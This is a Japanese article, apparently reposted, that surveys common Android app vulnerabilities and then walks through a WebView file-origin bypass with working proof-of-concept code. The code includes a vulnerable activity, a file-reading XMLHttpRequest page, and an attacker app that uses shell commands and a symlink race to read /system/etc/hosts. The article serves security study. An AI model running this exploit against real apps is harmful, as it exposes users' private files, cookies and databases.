ホームページ  >  記事  >  運用・保守  >  WebView ファイル ドメイン オリジン ポリシー バイパス脆弱性の分析例

WebView ファイル ドメイン オリジン ポリシー バイパス脆弱性の分析例

王林
王林転載
2023-05-15 08:22:141556ブラウズ

基礎知識 Android アーキテクチャ

  • カーネル カーネル層
    脆弱性は非常に有害であり、汎用性が高い
    ドライバーは数多く、複雑であり、多数のドライバーが存在する可能性があります。脆弱性

  • ライブラリ システム ランタイム ライブラリ層

    • システム ミドルウェアの形式で提供されるランタイム ライブラリ
      includes libc、WebKit、SQLite など。

    • AndroidRunTime
      Dalvik 仮想マシンとカーネル ライブラリ

  • FrameWork アプリケーション フレームワークレイヤー
    一連のサービスと API インターフェイスを提供します

    • アクティビティ マネージャー

    • コンテンツ プロバイダー

    • ビュー

    • エクスプローラー

    • 通知マネージャー

  • アプリケーション アプリケーション層

    • ##システム アプリケーション

      ホーム画面 ホーム、連絡先 連絡先、電話 電話、ブラウザ ブラウザ

    • その他のアプリケーション

      アプリケーション フレームワーク層の API を使用して開発者によって実装されるプログラム

    • #Andoroid の共通コンポーネント

アクティビティ アクティビティ

  • #Service サービス

  • BroadcastRecviver ブロードキャスト レシーバー

  • ContentProvider コンテンツ プロバイダー

  • 一般的な Android アプリの脆弱性 (OWASP モバイル トップ 10) プラットフォームの不適切な使用

概要

プラットフォーム機能の悪用、またはプラットフォームの使用失敗プラットフォームのセキュリティ制御を使用します。インテントの悪用、権限の悪用など。

  • リスク
    は非常に広範囲であり、モバイル プラットフォーム上のさまざまなサービスに関係する可能性があります

  • # #例

    iOS システムでは、パスワード データがキー チェーンではなくローカル ファイルに保存されるため、擬似暗号化されたバックアップ データから読み取られてしまいます。
    Android システムでは、パスワードが不適切に使用されます。インテントにより、悪意のあるユーザーがインテントのコンテンツをハイジャックして変更することになります。元のプロセスの ID 権限を使用してアクションを実行します。

  • 安全でないデータ ストレージ

  • 安全でない通信
  • #典型的な脆弱性とマイニング方法 データ ストレージの脆弱性

  • ##データ ファイルまたはディレクトリ

#クリア テキスト ストレージ

  • #MODE_PRIVATE

    • ##クリア テキスト ストレージ

    • ##MODE_PRIVATE モードがデータベースの作成時に使用されませんでした
    • MODE_PRIVATE モードが構成ファイルの作成時に使用されなかったため、他のプログラムが構成ファイルを読み取っていました

    • これはクリア テキストで保存され、root ユーザーは読み取り可能であるため、機密データの漏洩につながります

    • SharedPreferences
    • data /data/パッケージ名/shared_prefs/*.xml
    • SQLiteDatabases

      data/データパッケージ名/database/*.db


    • ##内部ストレージ
      data/データ/プログラム登録/ファイル/*


    • #外部ストレージ

      / mnt/sdcard/*


    • 検出方法


    • 各ファイルを参照し、 /data/data/package 名ディレクトリの下にあるディレクトリを確認し、他のユーザーが読み取り可能なファイルがあるかどうかを確認します。 File


      設定ファイル、データベース、ファイルにクリア テキストの機密情報があるかどうかを確認します。 etc.

  • マイニング方法
    • コード検出

      openFileOutput、getSharedPrefreences、openOrCreateDatabase およびその他の関数のモード パラメーターは MODE_PRIVATE(0x0000)

  • データ通信の脆弱性

  • HTTP などのクリア テキスト プロトコルを使用して機密情報をサーバーに送信します


    • # #LAN スニッフィング、悪意のある公衆 WIFI、悪意のあるプロキシ サービス、DNS ハイジャックなどを通じてクリア テキスト通信をキャプチャします。中間者攻撃を生成するその他の手段

##弱い SSL 証明書の検証


    • .method public checkServerTrusted を検索します。

    • .method を見つけてメソッドを終了します
  • return があるかどうかを確認します。 void


    同様に、verify(String, SSLSession) の戻り値が常に True であるかどうか、および X509HostnameVerifier のパラメータが ALLOW_ALLHOSTNAME_VERIFIER であるかどうかを確認します
    • Fiddler の HTTPS 解析機能を有効にし、自己署名証明書を生成してエクスポートし、電話機にインストールします。
    • #Fiddler プロキシを有効にしてリモート アクセスを許可します。ホストがプロキシに接続します

    • APP には SSL 証明書の検証がありません
    • クライアントは、3 つのメソッド checkServerTrusted\checkClientTrusted\getInstance を含む X509TruestManager クラスを実装する必要があります

    • 証明書の検証に失敗すると例外が発生し、アプリケーションによって処理されます。
    • サーバー証明書の検証に失敗すると、TLS マンインザが発生します。 -middle 攻撃
    • HttpsURLConnection を使用する場合、カスタム HostnameVerifier の実装プロセス中にホスト名が検証されず、証明書のドメイン名とサイト名が一致するかどうかはデフォルトでチェックされません。または、HttpsURLConnection の HostnameVerifier を設定するときに、すべてのドメイン名を受け入れるように ALLOW_ALL_HOSTNAME_VERIIER に設定します。

    • 攻撃方法

    • マイニング方法
    • #SSL 証明書の強力な検証

      Xp、Patch、その他の方法によってバイパスされる可能性があります

    コンポーネント露出の脆弱性

    • Android:exported は 4 つの主要コンポーネントに共通の属性で、他のアプリケーションが現在のコンポーネントを呼び出すことがサポートされているかどうかを示すために使用されます。

    • インテント フィルターがある場合、デフォルト値は true、それ以外の場合、デフォルト値は false

    • エクスポートされたエクスポートされたもののアクセス許可制御コンポーネント

    • 認証のバイパス

      • アクティビティは公開された後に第三者によって呼び出され、ログイン/する可能性があります。パスワードを使用せずにパスワードをリセットする

    • 機密情報の漏洩

      • recviver は、公開された後に第三者に公開され、デバッグやその他の情報が閲覧される可能性がある に含まれる機密情報 特権プログラムは、高特権プログラムによって公開されたコンポーネントを呼び出すことにより、高特権のアクションを実行します。
        ##マイニング方法


    • AndroidManifest.xmlを表示
      • drozer のアタックサーフェス ツールを使用してセキュリティ評価を実行します

    • 弱い暗号化の脆弱性



      パスワードのハード コーディング

      逆コンパイル、ルート表示などは取得可能です
      • AES/DES の弱い暗号化

        ECB モードは分析またはリプレイ攻撃に対して脆弱です

      • WebView
      主に 3 つの脆弱性が含まれています:

      任意のコード実行

    • 横断する Web ページを作成するgetClass メソッドがある場合、リモートでコードが実行される脆弱性があります



      fiddler の before スクリプトにより、任意の Web ページにアクセスするときに任意の Web ビューをテストできます

    ##Android 4.2 以降では、addJavascriptInterface アノテーションが付けられたメソッドを Web ページ内の java メソッドから呼び出すことができます。フィルタリングがない場合、脆弱性がある可能性があります

    • 発掘方法:


      • ドメイン管理がされていないstrict


      • setAllowFileAccess
      • setAllowFileAccessFromFileURLs

      • setAllowUniversalAccessFromFileURLs (リモート開示につながる)

      ローカル ファイルは、シンボリック リンク攻撃を通じてアクセスできます。どんなに制限されていても、js はこのファイルにアクセスできます。実行を遅らせ、現在のファイルを別のファイルを指すソフト リンクに置き換えることで、シンボリック リンクが指すファイルを読み取ることができます。 JavaScript がサポートされており、file:/// 形式の URL に制限がないため、Cookie、プライベート ファイル、データベースなどの機密情報が漏洩する可能性があります。
    • ##パスワードを平文で保存
      ユーザーが WebViEW に入力したユーザー名とパスワードを保存することを選択すると、それらはアプリ ディレクトリの data.db に平文で保存されます

      攻撃者root 権限で読み取り可能
      • 脆弱性マイニングプロセスの概要
      • 静的分析
      • 主要な分析対象を迅速に検出して取得
      • #AndroidManifest ファイルの確認


        ##スクリプト解析 Smali コード


      • #動的分析

        疑わしいリスクの検証と危険性評価


    • デバッグ モード分析

    運用を試す/脆弱性検証

      #drozer


    • パケットキャプチャ解析データとインターフェース

      • 逆分析
      • 暗号解読とロジックとコードのさらなる分析


    • ##-

      • 自動補助システム

      • MobSF には、フロントエンド Web インターフェイス
      • # が含まれています

        ##Marvin にはフロントエンド Web インターフェイス、導入トラブルが含まれています

      • Inspeckage Xused プラグイン

    • #今日は WebView の脆弱性について話します


      [Java] プレーン テキスト ビュー コードをコピー

      ?
      • サンプル コード アドレス: https://github.com/jltxgcy/AppVulnerability /tree/master/WebViewFileDemo.
      • または私の github: https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1


        次のコードの主な違いは、今回ロードされる Attack_file です。 html

        public class MainActivity extends Activity {
      private WebView webView;
    • private Uri mUri;

      private String url;
      • String mUrl1 = "file:///android_asset/html/攻撃ファイル.html";
      • //文字列 mUrl2 = "file:///android_asset/html/test.html";

      • @オーバーライド
      • protected void onCreate(Bundle SavedInstanceState) {

      • super.onCreate(savedInstanceState);
      • setContentView(R.layout.activity_main);

        webView = (WebView) findViewById(R.id.webview);
      • webView.getSettings().setJavaScriptEnabled(true);

        webView.addJavascriptInterface(new JSInterface(), "jsInterface");

        webView.getSettings().setAllowFileAccessFromFileURLs(true);

        webView.setWebChromeClient(new WebChromeClient() {

        @Override

        public boolean onJsAlert(WebView view, String URL, String message,JsResult result) {

        //ここで必要な機能

        return super.onJsAlert(view, url, message, result);

        }

        });

        webView.loadUrl(mUrl1);

        }

        class JSInterface {

        public String onButtonClick(String text) {

        final String str = text;

        runOnUiThread(new Runnable() {

        @Override

        public void run() {

        Log.e("leehong2", "onButtonClick: text = " str);

        Toast.makeText(getApplicationContext(), "onButtonClick: text = " str, Toast.LENGTH_LONG).show();

        }

        });

        return "このテキストは Java レイヤーから返されます。 js text = " text;

        }

        public void onImageClick(String url, int width, int height) {

        final String str = "onImageClick: text = " url " width = " width "高さ = "高さ;

        Log.i("leehong2", str);

        runOnUiThread(new Runnable() {

        @Override

        public void run() {

        Toast.makeText(getApplicationContext(), str, Toast .LENGTH_LONG).show();

        }

        });

        }

        }

        }

        ここでは webView.getSettings().setAllowFileAccessFromFileURLs(true) を示し、ファイル ファイルを JavaScript 経由でアクセスできることを示しています。

        我们再来看 Attack_file.html の代番号:'

        <本文>

        <スクリプト>

        function stoneFile()

        {

        var file = "file:///mnt/sdcard/233.txt";

        var xmlHttpReq = new XMLHttpRequest();

        xmlHttpReq.onreadystatechange = function(){

        if(xmlHttpReq.readyState == 4){

        alert(xmlHttpReq.responseText);

        }

        }

        xmlHttpReq.open("GET", file);

        xmlHttpReq.send(null);

        }

        stealFile();

        #setAllowFileAccessFromFileURLs が true であるため、webView.load この html は /mnt/sdcard/2333.txt の値を返すことができます。

        setAllowFileAccessFromFileURLs が false の場合、webView.load この html は /mnt/sdcard/2333.txt の値を返すことができません。

        setAllowFileAccessFromFileURLs が false の場合でも、ある方法でこの制限を乗り越えることができます。次讲讲.

        最初に WebViewFileDemo1 を実行し、次に AttackWebView を実行して WebView を攻撃します。

        最初に WebViewFileDemo1 を見ていきます。メイン コードは次のとおりです:

        package com.example.webviewfiledemo; [/ size][/ font][/p]

        import android.app.Activity;

        import android.content.Intent;

        import android.net.Uri;

        import android.os.Bundle;

        import android.util.Log;

        import android.webkit.JsResult;

        import android.webkit.WebChromeClient ;

        import android.webkit.WebView;

        import android.widget.Toast;

        public class MainActivity extends Activity {

        private WebView webView;

        private Uri mUri;

        private String url;

        @Override

        protected void onCreate(Bundle SavedInstanceState) {

        super.onCreate (savedInstanceState);

        setContentView(R.layout.activity_main);

        webView = (WebView) findViewById(R.id.webview);

        webView.getSettings() .setJavaScriptEnabled(true );

        webView.addJavascriptInterface(new JSInterface(), "jsInterface");

        webView.getSettings().setAllowFileAccessFromFileURLs(false);

        / /webView.getSettings ().setAllowFileAccess(false);

        webView.setWebChromeClient(new WebChromeClient() {

        @Override

        public boolean onJsAlert(WebView view, String url 、文字列メッセージ、JsResult の結果) {

        ;

        意図 i = getIntent();

        if (i != null) {

        mUri = i.getData();

        } }

        if (mUri != null) {

        url = mUri.toString();

        ## }

        if(url!= null){

        ’s’ s ’s’ s ’t - - は、外部から意図を受け取り、意図でURLを抽出してロードします。

        次に、com.example.webviewfiledemo.MainActivity にインテントを送信するプロジェクトである AttackWebView プロジェクトを見てみましょう。コードは次のとおりです。

        public class MainActivity extends Activity {

        public Final static String HTML =

        ""

        "< ;u>数秒待ちます。" "

        "<script>" <p></p> "var d = document;" "function doitjs(){" <p> </p> "var xhr = new XMLHttpRequest;" <p></p> "xhr.onload = function(){" <p></p> "var txt = xhr.responseText;" <p></p> "d .body.appendChild(d.createTextNode(txt));" <p></p> "alert(txt);" "};" <p></p> "xhr.open('GET',d. URL) ;" <p></p> "xhr.send(null);" <p></p> "}" <p></p> "setTimeout(doitjs,8000);" <p></p> <p> "</script>"

        "";

        public static String MY_TMP_DIR;

        @Override

        protected void onCreate(Bundle SavedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath(); ###### やれ();

        }

        public void doit() {

        String HTML_PATH = MY_TMP_DIR "/A0" ".html";

        {

        cmdexec("mkdir " MY_TMP_DIR); を試してください。

        cmdexec("echo \"" HTML "\" > " HTML_PATH);

        cmdexec("chmod -R 777 " MY_TMP_DIR);

        Thread.sleep(1000);

        invokeVulnAPP("file://" HTML_PATH);

        Thread.sleep(6000);

        cmdexec("rm " HTML_PATH);

        cmdexec("ln -s " "/system/etc/hosts" " " HTML_PATH);

        } catch (Exception e) {

        // TODO: 例外を処理します

        }

        }

        public void invokeVulnAPP(String url) {

        try {

        Intent 意図 = new Intent(Intent.ACTION_MAIN,Uri.parse(url));

        tent.addCategory(Intent.CATEGORY_LAUNCHER);

        tent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");

        startActivity(intent);

        } catch (Exception e) {

        // TODO: 例外を処理します

        }

        }

        public void cmdexec(String cmd) {

        try {

        String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };

        Runtime.getRuntime().exec(tmp);

        } catch (Exception e) {

        // TODO: 例外を処理する

        }

        }

        }

        invokeVulnAPP によって、com.example.webviewfiledemo.MainActivity が開き、Intent が転送されます。このアクティビティは URL を取得しました。URL は /sdcard/payload_odex/A0.html で、webView はこの html をダウンロードしました。html コンテンツは次のとおりです。

        #public Final static String HTML =

        ""

        数秒お待ちください。

        ""

        "var d = ドキュメント;"

        "function doitjs(){"

        "var xhr = new XMLHttpRequest;"

        "xhr.onload = function(){"

        "var txt = xhr.responseText;"

        "d.body.appendChild(d.createTextNode(txt));"

        "alert(txt);" "};"

        "xhr.open('GET',d.URL);"

        "xhr.send(null);"

        "}"

        "setTimeout(doitjs,8000);"

        ""

        "";

        WebViewFileDemo1 プロジェクト A0.html をロードした後、この HTML の機能は A0.html 自体の読み取りを 8 秒間遅らせることです。 AttackWebView プロジェクトに戻ってコードを見てみましょう。

        cmdexec("mkdir " MY_TMP_DIR); ;

        Thread.sleep(1000);

        invokeVulnAPP("file://" HTML_PATH); cmdexec( "rm " HTML_PATH);

        cmdexec("ln -s " "/system/etc/hosts" " " HTML_PATH);

        invokeVulnAPP を呼び出した後、6 秒後に、まず A0 を削除します.html を作成し、それを /system/etc/hosts に再度ソフトリンクします。この時点で WebViewFileDemo1 プロジェクトの webView が A0.html をロードすると、この HTML の機能は A0.html 自体の読み取りを 8 秒間遅らせることであるため、8 秒後に読み取られるのはソフト接続 /system/etc/ であることに注意してください。ホスト。

以上がWebView ファイル ドメイン オリジン ポリシー バイパス脆弱性の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。